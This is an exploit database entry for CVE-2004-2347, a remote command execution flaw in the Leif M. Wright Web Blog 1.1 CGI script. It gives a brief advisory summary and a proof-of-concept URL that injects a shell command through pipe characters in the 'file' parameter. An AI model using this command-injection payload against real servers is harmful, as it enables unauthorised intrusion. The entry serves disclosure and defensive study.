Exploit Leif M. Wright Web Blog 1.1 - Remote Command Execution

[Exploiter]

EDB-ID

23629

Проверка EDB

1. Пройдено

Автор

ACTUALMIND

Тип уязвимости

WEBAPPS

Платформа

CGI

CVE

cve-2004-2347

Дата публикации

2004-01-31

source: https://www.securityfocus.com/bid/9539/info

Web Blog has been reported to be prone to a vulnerability that may permit remote attackers to execute arbitrary commands in the context of the hosting web server. This is due to insufficient sanitization of shell metacharacters from variables which will be used as an argument to a function that invokes the shell directly.

http://www.example.com/directory/blog.cgi?submit=ViewFile&month=[month]&year=[year]&file=|command|